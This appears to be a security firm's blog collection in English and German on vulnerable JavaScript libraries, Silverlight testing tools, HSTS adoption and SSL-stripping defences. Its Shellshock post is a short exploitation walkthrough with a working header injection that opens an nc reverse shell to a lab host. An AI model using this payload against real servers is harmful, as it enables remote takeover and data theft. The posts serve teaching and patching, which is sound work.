Preventing the Usage of Vulnerable JavaScript Libraries

Overview

In this short informational blog post we would like to

  • point out the dangers of deploying vulnerable third-party JavaScript libraries in web projects and
  • reference 2 tools that check for outdated libraries.

Issue

Recent context of this topic is a new study in which researchers systematically scanned more than 133.000 prominent websites for outdated JavaScript libraries [1]. Result of this study is that more than a third of the scanned websites employ at least one library with a known vulnerability. Many sites even ship JavaScript libraries which have not been updated for years.

Third-party JavaScript libraries are often handy for quickly building up interactive and good-looking web application, but are later forgotten or seen as a static asset. Reluctance to update third-party libraries also originates from the fact that such updates often entail new testing efforts.

However, from a security perspective the world is changing every day. Even for the most widespread libraries, those which are often considered mature and reasonably secure, the publication of a single vulnerability can put thousands of websites at stake from one day to the other. Typical vulnerabilities in JavaScript libraries often allow attackers to perform cross-site scripting attacks and thus impair the security of all website users. A more detailed discussion of risks when employing third-party JavaScript libraries in web application projects can be found on the following OWASP page: [5].

Staying up to date

We recommend to regularly check whether new library versions are available. Ideally, one project member should subscribe to security or announcements newsletters of vital third-party dependencies (if such channels exist). Of course, this task of manually staying up to date is tedious and prone to incidents slipping through the net. Hence, we additionally recommend two little tools here which help to recognise whether outdated third-party libraries are used. Both tools are free software.

Retire.js

Retire.js is a light-weight tool that scans a specified folder for references to vulnerable JavaScript libraries [4]. A list of vulnerable libraries including links to a description of the respective vulnerabilities is shipped with Retire.js. Hence, Retire.js has to be updated regularly (e.g. via git pull). For testing, it can also be integrated into grunt, used as a Chrome or Firefox plugin or inside the HTTP proxies Burp and OWASP Zap.

OWASP Dependency Check

In this regard, we also recommend using “OWASP Dependency Check” [2]. This utility scans a project for dependencies (e.g. all jar files in the project path) and checks those against vulnerability databases (e.g. the well-known NIST CVE database [3]). Currently, it primarily aims at Java and .NET projects. In addition to the simple usage as a command line tool, Dependency Check can be integrated into the automated build process (plugins for Maven, Ant, Gradle and Jenkins are available).

Exploiting Shellshock

A lot of news articles are published currently about a series of Bugs which were found in Bash recently. This Post shows how to easily write a remote exploit for the first of these Bugs (CVE-2014-6271).

Let us first try to understand how this exploit works. The example test code to check if a bash installation is vulnerable which can be found on many sites is the following:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If this code is executed on a vulnerable system, the output will be

vulnerable
this is a test

The command “env” is used to set a specific variable (in this example “$x”) within the environment before our test code ”echo this is a test” is executed. The vulnerability is, that bash interprets the string “() {” as the start of a function and evaluates the function before executing the desired command. Note, that the name of the Variable doesn’t matter for the vulnerability to work.

Let us look, how this can be used to remotely exploit a Webserver which uses bash script to deliver web pages. In order to investigate the things which happen here, we setup a small cgi-script with the following content:

#!/bin/bash
echo
env

If we browse to this page, we get a print of all environment variables which are set during the generation of our webpage. Let us browse to this page and set some extra HTTP Headers in advance. I used the Firefox AddOn “Modify Headers” to add the two HTTP-Headers: Foo: bar and Cookie: spam=ham.

What we see in the response is, that several headers which are coming from the client are set as environment variable during execution. In each of these variables we can inject malicious code. This code will be executed before the webpage is delivered, regardless if it is used or not. Let us assume the Webserver executes the following Hello-World Webpage:

#!/bin/bash
echo
echo "Hello World!"

hello

Note, that the Webpage itself does not use any user input at all. It just statically prints out “Hello World!”. However, as we have seen before bash uses our input.

We can first try to inject the example test code. Note, that we have to add an empty “echo” to the example in order to get the output to the content of the HTTP Request. (Apache will interpret this as a Response Header otherwise.)

Auswahl_010

Instead of doing a simple echo, we can execute arbitrary code at the server like “cat /etc/passwd
Auswahl_011

And of course open a reverse shell:

% echo |nc 192.168.122.27 80 <<EOF
GET /cgi-bin/bash.cgi HTTP/1.1
Host: foo
Foo: () { :; }; /bin/nc -e /bin/bash 192.168.122.1 2222;

EOF

I hope everyone understood now that Shellshock can be exploited very easily. Patches are available and should be installed as soon as possible.

Tools for Testing of Silverlight Applications

Silverlight is a proprietary application framework created by Microsoft in 2007. Its purpose is similar to Flash by Adobe and enables the creation of Rich Internet Applications. Silverlight is available as Plug-In for different browsers (Chrome, Firefox and Internet Explorer) on the Windows and Mac OS platform [1].

In security assessments you might get in touch with an application that is completely implemented in Silverlight. This post shows you some basic tests that can be executed and some tools you can use during an assessment.

Burp Plugins

There are two Plugins available for Burp. In 2011 GDSSecurity published a plugin in Java that is able to encode and decode WCF Binary SOAP data („Content-Type: application/soap+msbin1”) [2].  This plugin is still working in Burp 1.6.03 but the setup does need two instances of Burp connected in series if you want to edit request or response data. This is due to the fact that the plugin can only be used for encoding or decoding in one Burp instance. Therefore one Burp needs to decode the request, then you can edit the request, sent it to the next Burp that will encode the request again as WCF Binary SOAP data. The plugin can be used if you execute the following command within the directory of the plugin to start Burp:

java -Xmx512m -classpath BurpExtender.jar;.<path to burp>\burpsuite_pro_v1.6.03.jar burp.StartBurp

In 2013 Nick Coblentz released a Python plugin for Burp that extended the work done by GDSSecurity so that only one instance of Burp is needed to edit the response and request of Silverlight requests [3]. Before loading the plugin, the location of the Python environment for Java (Jython) needs to be set within in Burp, therefore you need to navigate to „Extender/Options/Pyhton Environment“.  You should download Jython 2.7beta in this case as Jython 2.5 is missing a module that the plugin is using [4]. As next step you can easily load the Pyhton script in Burp via „Extender/Burp Extensions/Add“ and after the plugin has loaded the request and response with „Content-Type: application/soap+msbin1“ will be decoded.

Fiddler

If you are using Fiddler, there is also a third-party extension that can be used to read and modify WCF binary messages that are used by Silverlight. You can download either the extension for Fiddler 2 or Fiddler 4 or modify the source and compile it yourself, as the whole source code is also available [5].

Silverlight Spy / XAML Spy

Besides attacking the communication by using an interception proxy like Burp or Fiddler, there is a tool dedicated for testing Silverlight applications called XAML Spy [6], the successor of Silverlight Spy [7]. In conjunction with .NET Reflector or other third-party decompiler tools it is possible to decompile Silverlight applications, like an application running in the browser or an offline application that is stored on client-side.

Silverlight Spy can be downloaded as a free version [10]. XAML Spy is only available as 21-day test version for evaluation. For productive testing you have to buy a license.

Test cases

When you test a Silverlight application you should have a look at the clientaccesspolicy.xml. There is also some documentation available from Microsoft about „HTTP Communication and Security with Silverlight“ that describes some basic hardening settings [8].

During decompiling a Silverlight application you should also investigate the Isolated Storage, if there is any sensitive information stored.

References

[1] http://en.wikipedia.org/wiki/Microsoft_Silverlight

[2] https://github.com/GDSSecurity/WCF-Binary-SOAP-Plug-In

[3] https://gist.github.com/sekhmetn/4504341

[4] http://www.jython.org/downloads.html

[5] https://github.com/waf/WCF-Binary-Message-Inspector

[6] http://xamlspy.com/

[7] http://firstfloorsoftware.com/silverlightspy

[8] http://msdn.microsoft.com/en-us/library/cc838250(v=vs.95).aspx

[9] http://abhartiya.wordpress.com/2012/07/06/pentesting-silverlight-applications/ 

[10] http://firstfloorsoftware.com/silverlightspy#download

 

Verbreitung von HSTS – Aktualisierung

Zur Beobachtung der Entwicklung von HSTS wurde im Januar und im Februar 2014 eine weitere Analyse zur Verbreitung von HSTS durchgeführt.

Das konkrete Vorgehen zur Durchführung der Analyse ist in Kapitel 1 im Dokument zur Verbreitung von HSTS beschrieben [1]. Zur eigentlichen Durchführung wurden zwei verschiedene Ansätze mit verschiedenen Datengrundlagen gewählt. Die folgenden Ergebnisse konnten mit den zwei verschiedenen Ansätzen gewonnen werden:

1. Auswertung mit Alexa-Liste der Top-1-Million von Oktober 2012

Zum einen wurde die Alexa-Liste der Top-1-Million-Webseiten eingesetzt, die bereits im Oktober 2012 bei der ursprünglichen Auswertung verwendet wurde. Dadurch soll ein direkter Vergleich ermöglicht und die Entwicklung wiedergespiegelt werden (siehe auch [1] für detaillierte Ergebnisse von 2012).

Die Auswertung wurde am 28. und 29.01.2014 durchgeführt. Die Verbreitung des HSTS Headers hat sich unter den untersuchten Seiten bis heute fast vervierfacht. Von ursprünglich 412 ist die Zahl der Webserver, die HSTS anbieten, nun auf insgesamt über 1.400 gestiegen. Die Verteilung der für die max-age-Direktive verwendeten Werte ist dabei nahezu gleich geblieben. Es wird in den meisten Fällen ein Wert von 31.536.000 Sekunden gesetzt, was einem Jahr entspricht.

Gegenüberstellung Auswertung vom Oktober 2012 mit Januar 2014

Gegenüberstellung der Auswertung vom Oktober 2012 mit Januar 2014

2. Auswertung mit Alexa-Liste der Top-1-Million von Februar 2014

Neben der Gegenüberstellung der Auswertungen von Oktober 2012 und Januar 2014 wurde darüber hinaus die Alexa-Top-1-Million-Liste vom 01.02.2014 verwendet, um eine aktuelle Liste zu überprüfen und damit Änderungen in der Rangfolge gerecht zu werden. Die Auswertung wurde am 2. und 3. Februar 2014 durchgeführt. Die Verbreitung von HSTS beläuft sich in diesem Fall auf 1.510 Webseiten, die einen gültigen HSTS-Header ausliefern.  Auch hier wird in den meisten Fällen der Wert 31.536.000 für die max-age-Direktive gewählt.

Auswertung Februar 2014

Auswertung Februar 2014


Referenzen:

[1] Verbreitung von HSTS http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Verbreitung.pdf

Firefox bekommt auch HSTS-Preloading-Liste

Google hat in Chrome mit Version 13 eine HSTS-Preloadinging-Liste eingeführt. Diese besteht aus einer in der Binary hinterlegten Liste von Domains, die vom Browser ausschließlich über HTTPS angesprochen werden dürfen. Mozillas Firefox übernimmt dieses Feature nun in Version 17 und verwendet dazu auch die vom Chromium-Project gepflegte Liste. Besagte Version befindet sich aktuell im Beta-Stadium.

Die HSTS-Preloading-Listen setzen an einer prinzipiellen Schwachstelle des Strict-Transport-Security-Headers als Schutz gegen SSL-Stripping an: dem ersten Besuch der Seite. Hat ein Benutzer eine Website mit einem Browser noch nie besucht (z.B. auf Grund einer Neuinstallation oder weil ein neues Gerät verwendet wird) oder ist die Dauer des Schutzes vom vorherigen Besuch bereits abgelaufen, so ist der HSTS-Eintrag im Browser noch nicht bzw. nicht mehr vorhanden. Besucht er nun eine Seite über ein unsicheres Netz, kann ein Man-in-the-Middle den HSTS-Header in der ersten Response des Servers entfernen und einen SSL-Stripping-Angriff ausführen. Ist die jeweilige Domain jedoch schon in der HSTS-Preloading-Liste aufgeführt, weiß der Browser auch vor dem ersten Besuch schon, dass diese Seite per HTTPS angesprochen werden muss.

Als Mindestwert für den max-age-Paramter hat Mozilla 10.886.400 Sekunden gewählt. Dies entspricht 18 Wochen und liegt damit unter dem Mindestwert von einem Jahr, den wir im Whitepaper zum Thema empfehlen. Dieser Wert ist allerdings trotzdem deutlich restriktiver als der für die HSTS-Preloding-Liste in Chrome gewählte; dort sind auch Domains mit deutlich geringeren Werten enthalten. Die Umsetzung der HSTS-Preloading-Liste in Firefox ist erfreulich und hat für die Serverbetreiber keine negativen Effekte.

SSL-Stripping, die ignorierte Gefahr.

Wie kann es einem Angreifer gelingen, die Passwörter für sensitive Webanwendungen wie Online-Banking, Webmail-Konten oder Businessportale trotz korrekt angewandter Verschlüsselung (HTTPS) mit einer hohen Erfolgswahrscheinlichkeit zu erspähen – und das bei der großen Mehrzahl aller heutigen Webangebote? Darunter so vermeintlich sichere Vorgänge wie 3-D Secure Payment (der sichere Standard beim Zahlen mit Kreditkarte), Paypal oder ebay?

Die Antwort lautet: Mit einem recht eleganten Trick! Der möglich ist, weil Webserver eine einfache Sicherheitsmaßnahme außer Acht lassen.

Dieser Blogeintrag will Adminstratoren und Verantwortlichen aufzeigen, wie real diese Bedrohung ist und was sie dagegen tun können. Es sei aber vorweg auch gesagt, dass sich beim gegenwärtigen Stand der Browsertechnik die Lücke nicht komplett schließen lässt, wenn nicht zusätzliche Vorkehrungen getroffen werden.

Wie funktioniert der Angriff?

Machen wir den Anfang mit der Darstellung des Angriffs. Das im folgenden Clip dargestellte Szenario ist eines, in das jeder ganz leicht selbst geraten kann. Darin wird der Ablauf eines Online-Einkaufs durchgespielt und gezeigt, wie der Benutzer – je nach gewähltem Bezahlverfahren – am Ende seine Shop-Zugangsdaten, seine kompletten Kreditkarten-Daten oder seinen Paypal-Benutzernamen mit Passwort an den Angreifer verloren hat. Der Angriff ist jedoch bei weitem nicht auf das Onlineshopping beschränkt. Wir hätten statt des hier verwendeten Online-Shops genauso gut einen x-beliebigen anderen Shop oder eine andere Anwendung mit Login oder sensiblen Daten hernehmen können.

Schauen wir uns den Ablauf des Angriffs aus Sicht des Benutzers an und blenden parallel dazu ein, was der Angreifer im selben Moment auf seinem Bildschirm angezeigt bekommt:

Noch einmal: Der Trick beruht zum einen darauf, dass die initiale Verbindung unverschlüsselt abläuft und der als Man-in-the-Middle (MitM) arbeitende Angreifer somit in der Lage ist, jeden HTTPS-Link, den der Server zurückliefert, in einen HTTP-Link umzuwandeln und damit die Verbindung zwischen sich und dem Benutzer über die gesamte Dauer unverschlüsselt zu halten. Zum anderen beruht der Angriff darauf, dass der MitM den anderen Teil der Verbindung, also die zum Server, per HTTPS durchführt und der Server somit keine Chance hat, den Angriff zu erkennen und abzuwehren.

Damit hängt der Angriff natürlich ganz entscheidend davon ab, dass der Benutzer nicht darauf achtet, dass er die ganze Zeit per HTTP statt wie gewohnt per HTTPS kommuniziert. Würde die Verbindung zwischen MitM und Browser per HTTPS ablaufen, so würde der Browser das Vorhandensein eines MitM erkennen und dem Benutzer eine entsprechende Warnung zeigen. Denn die Sicherstellung der Authentizität des Servers ist neben der Verschlüsselung die zweite wichtige Eigenschaft von SSL, auf welche die Sicherheit der Browser-Server-Kommunikation sich stützt. Mit dem gezeigten Angriff wird das geschickt ausgehebelt.

Ist der Benutzer selbst schuld?

Man könnte sich nun auf den Standpunkt stellen „Naja, da muss der Benutzer halt aufpassen“. Aber das ist sicher zu kurz gegriffen, wie leicht zu erkennen ist, wenn man diesen Zusammenhang in den Alltag überträgt: Würde an einer Verkehrsampel ein Schalter zum Umschalten der Signalisierung an einer mit wenig Anstrengung zugänglichen Stelle angebracht sein, so würde man auch nicht den Autofahrer verurteilen, der bei grün ohne nach links und rechts zu schauen über die Kreuzung fährt und dann mit dem Querverkehr kollidiert. Selbstverständlich wird denjenige zur Verantwortung gezogen, der eine so schlecht vor Missbrauch geschützte Ampel aufstellt.

Wie leicht hat es der Angreifer?

Damit der Angriff vonstatten gehen kann, muss die Kommunikation des Benutzers über den Rechner des Angreifers geleitet werden. Der Angreifer kann diese Voraussetzung auf verschiedene Weisen herstellen, was, abhängig von der Umgebung, sehr leicht bis weniger leicht aber immer noch möglich, sein kann.

Am einfachsten lässt sich die benötigte Voraussetzung wohl auf die im Video dargestellte Weise herstellen: Der Angreifer positioniert sich an einem Ort wo gewartet – zB. am Flughafen – oder gechillt – zB. im Straßencafe – wird, oder wo man sich halbwegs sicher fühlt, z. B. im Hotel. Hier bietet er mit seinem Laptop einen öffentlichen Hotspot an. Wenn dieser mit einem unverfänglichen Namen wie „FreePublicHotspot“ oder „GuestAccess“ daher kommt, kann er davon ausgehen, dass das Angebot gerne angenommen wird. Die Erfolgsquote ist letztlich wohl nur noch davon abhängig, wie glaubwürdig das Ganze daherkommt.

Aber auch in kabelgebundenen Netzen ist man nicht automatisch sicher. Befinden Angreifer und Benutzer sich im selben Netzwerksegment, so kann der Angreifer den Rechner des Benutzers mittels eines ARP-Spoofing Angriffs dazu bringen, dass dieser seine Kommunikation an den Angriffsrechner zur Weiterleitung ins Internet übergibt, sofern nicht spezielle Netzwerkgeräte oder -überwachung dies unterbindet.

Der Angriff selbst erfordert nicht sehr viel technisches Wissen. Im Internet kursieren detaillierte Anleitungen und ein auch von Programmierlaien leicht zu verwendendes Tool vom Entdecker dieser Schwachstelle.

Welche Schadensszenarien bestehen?

Neben dem hier beschriebenen Szenario, welches höchst sensitive Zahlungsdaten freilegt, ist als weitere Gefahr an oberster Stelle der Zugriff auf das Email-Konto (wenn es per Webmailer angesprochen wird) oder das Soziale Netzwerk (Facebook, Google+, Xing, LinkedIn etc) zu nennen. Siehe dazu auch die Nutzerbefragung von Google, wonach von den meisten Nutzern das Emailkonto als kostbarstes Online-Gut angesehen wird.

Ein weites Feld mit hohen Begehrlichkeiten ist sicher auch der gesamte E-Business-Bereich. Das Eindringen in das Konto des Wettbewerbers im Partnerportal des gemeinsamen Auftraggebers oder in dessen mit einem Webzugang ausgestattetes CRM-System sind sicher realistische Angriffsszenarien.

Was lässt sich serverseitig dagegen tun?

Wir haben es bei diesem Sachverhalt mit einem tief in der Webtechnik steckenden Designproblem zu tun. Insofern ist ein komplettes Schließen dieser Lücke sobald nicht zu erwarten. Aber es existieren Mittel, die die Erfolgsquote eines Angriffs signifikant herabsetzen. Und diese sollten von den Webanwendungsbetreibern unter allen Umständen zum Einsatz gebracht werden!

An erster Stelle steht die Einschaltung des HSTS-Schutzes. Dahinter verbirgt sich die Möglichkeit des Servers, den Browser zu zwingen, dass er ihm niemals einen HTTP-Link, sondern immer nur HTTPS-Links, schickt. Selbst wenn der Benutzer auf einen HTTP-Link klickt, wird dieser vom Browser in den sicheren HTTPS-Link umgewandelt.

Diese und weitere Gegenmaßnahmen sind in dem Whitepaper zu HSTS erläutert.

Was hilft serverseitig nicht?

Die sensible Webanwendung nur per HTTPS zur Verfügung zu stellen, dh. auf einen HTTP-Request ein Redirect auf HTTPS oder gar keine Antwort zu geben, löst das Problem nicht. Denn der MitM sorgt dafür, dass die HTTP-Requests des Browsers den Server korrekt als HTTPS-Requests erreichen.

Welche Lücken bleiben trotz HSTS bestehen?

  •  Microsofts IE9 und auch IE10 unterstützen HSTS nicht. Deren Nutzer sind also auch bei HSTS-geschützten Seiten komplett ungeschützt!
  • Findet der erstmalige Aufbau einer Verbindung zu einer HSTS-geschützten Website bereits über ein Angreifer-Gateway – den MitM – statt, so „weiss“ der Browser noch nicht, dass HTTP-Zugriffe zu diesem Host nicht zugelassen sind. Er kann den initialen HTTP-Zugriff damit auch nicht unterbinden und der MitM hat wieder freie Bahn – denn er sorgt natürlich dafür, dass der HSTS-Header den Browser nie erreicht!

Wie lässt sich der Angriff benutzerseitig verhindern?

HSTS-Schutz bieten gegenwärtig nur wenige Websites (siehe die Untersuchung zur Verbreitung von HSTS im Nov. 2012). Ein jeder muss daher selbst dafür sorgen, dass er nicht zum Angriffsopfer wird.

  • Unbedingt auf das Schloss in der Adressleiste achten und niemals schützenswerte Informationen in ein Formlar ohne Schloss in der Adressleiste eingeben. Das ist leichter gesagt als getan, denn gerade beim Login wird häufig so verfahren, dass das Formular selbst sich auf der unverschlüssselt ausgelieferten Homepage befindet, wie in diesem Beispiel gezeigt:
  • Um dem aus dem Weg zu gehen, Firefox oder Chrome mit HTTPS Everywhere– oder noscript-Plugin verwenden und diese entsprechend konfigurieren
  • Die Best-Practice für Firmen, die verhindern wollen, dass ihre Mitarbeiter durch Fehlverhalten in der hier beschriebenen Weise zum Sicherheitsrisiko werden, lautet: Die Unterwegs-Laptops und Homeoffice-PCs der Mitarbeiter sind per VPN ins Unternehmens-LAN zu zwingen. Dann wird jeder Verbindungsaufbau des Browsers, egal ob HTTP oder HTTPS, unangreifbar durch den geschützten Kanal ins Firmennetz gezwungen und von dort aus zum jeweiligen Webserver geleitet.
  • Internet Explorer und Safari meiden, solange diese HSTS nicht unterstützen

Wo besteht keine Gefahr?

Mobile Apps, die für den Serverzugriff fest eingebaute Links verwenden, sind nicht gefährdet. Das ist in der Regel bei einer Native App der Fall. Wird hingegen das Zugriffsziel als URL in der Serverantwort ermittelt, besteht dasselbe Problem wie bei den Browsern.

Weiterführende Links

HSTS Whitepaper: http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Whitepaper.pdf

OWASP-Hinweise zum Thema (zum Zeitpunkt der Veröffentlichung dieses Posts leider noch nicht sehr ausgeprägt): https://www.owasp.org/index.php/HTTP_Strict_Transport_Security

Untersuchung zur Verbreitung von HSTS: http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Verbreitung.pdf